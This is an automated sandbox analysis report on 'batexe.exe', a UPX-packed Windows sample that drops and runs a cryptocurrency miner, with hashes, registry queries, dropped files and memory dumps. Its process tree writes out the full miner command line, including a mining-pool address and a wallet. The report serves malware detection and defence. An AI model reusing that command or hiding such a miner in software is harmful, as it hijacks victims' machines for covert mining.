73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 03:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1790404759-2178872477-2616469472-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1790404759-2178872477-2616469472-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4068	b2e.exe
2552	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2552	cpuminer-sse2.exe
2552	cpuminer-sse2.exe
2552	cpuminer-sse2.exe
2552	cpuminer-sse2.exe
2552	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4668-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4668 wrote to memory of 4068	4668	batexe.exe	88
PID 4668 wrote to memory of 4068	4668	batexe.exe	88
PID 4668 wrote to memory of 4068	4668	batexe.exe	88
PID 4068 wrote to memory of 4440	4068	b2e.exe	89
PID 4068 wrote to memory of 4440	4068	b2e.exe	89
PID 4068 wrote to memory of 4440	4068	b2e.exe	89
PID 4440 wrote to memory of 2552	4440	cmd.exe	92
PID 4440 wrote to memory of 2552	4440	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A335.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe

Filesize
25.6MB

MD5
4c3984b952a19fe7380ff4ae956f3d6a

SHA1
18f0e1749d173d27b9ab38e312eae549b866b990

SHA256
a1fa1338c0ed040948e6ea47579a380419955c4a78482ce5961d21c3c97b7caa

SHA512
0d9f64376c06ccc0ae104a696c44007ef949e839fc558ef12f337b4e42f3b5584d2de315bba4e090a72a4548d5a23c0a9a23fb8039594bcd5f05254b7bd54e75

Download Submit
C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe

Filesize
704KB

MD5
2bb8bf63c7d7958f71f9307c8635131f

SHA1
2362f18b011bd1e60fa078052821edefa33b8e08

SHA256
85151a35fd2a7ef587918c4702b2adbe0c3e7eed43bc8564a662ed03a6f3ce79

SHA512
59eba9edea2b2af76f261db76b15912b20070d75db7cf498d55a1bc13f11692d016c9a70ed447a784c874f6d11582112312f3d058443606eb4b6de349a4857ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe

Filesize
1.1MB

MD5
a43a8e689cd5eb2690d211c1d48e729a

SHA1
92acd696234142bf22c8b5f1c1af459f38dc3bf4

SHA256
de564130f2706db8cccf91eb5cda9c55b9cb1cf5c775c3eee2d27c4c63ae5adc

SHA512
d804a9846c745cebd70e25fc740f2d8ab555e3b66ec9a1199539d08a0bf9c7cc4d2122eb5fb65ad6192835649fc0cc55f08ea2572c131c6b1931be3d30991182

Download Submit
C:\Users\Admin\AppData\Local\Temp\A335.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
62KB

MD5
5cacb2ba34e98651233228981d629a5a

SHA1
c2f8799824e7e68e609d3366b081b27148b9b97e

SHA256
7baebc65713e6c10fa2eaf8ffe3543cca06a1931d1aab54ed2d8133291e4f80c

SHA512
5028a472faf81e0d166a44bbf86566c996aae485b89d3e48f26f6fc21211e54db3a91083e2c72d697bc00fc874c0fe9a97e2ce6727d4e98dfbeb2cfedb39b7e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.6MB

MD5
0cc1b566e3f1fde265de24372fabae9a

SHA1
65fbe99edd4396c71eb4c84fa6040823cb38b715

SHA256
fe97cfad02677216862257ec42557f2b829d0c8885445e16f25a5b64bde75769

SHA512
676e4df8ac1df8a425d4aad1681019189939089a06efa3d34cfe58342a9ff829efabbdf85e379eed6eee279a527068adf82c78a10c6656d41d00ebd70d47af8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.8MB

MD5
c506fdc0756e24177f47b538c19d6c91

SHA1
44677f34c1fdd7d94be282c636231880108cf786

SHA256
4a37863f13cfc1bcc963272e140065bf9c14f08fad96d79ed71ff8b87a53455e

SHA512
0dadb44ebcd9cecbb53d19345961513063e6d180656b8e3e61d6ba4f9e205f1ec20b9c6c69747bee76952b3c3e0a3cdfc9a815d58c35eff1ca4add8e42c103b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2552-44-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-80-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-105-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-100-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2552-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/2552-47-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2552-48-0x0000000076310000-0x00000000763A8000-memory.dmp

Filesize
608KB

Download
memory/2552-49-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-90-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-55-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-60-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-75-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2552-41-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2552-85-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-54-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4068-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4668-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download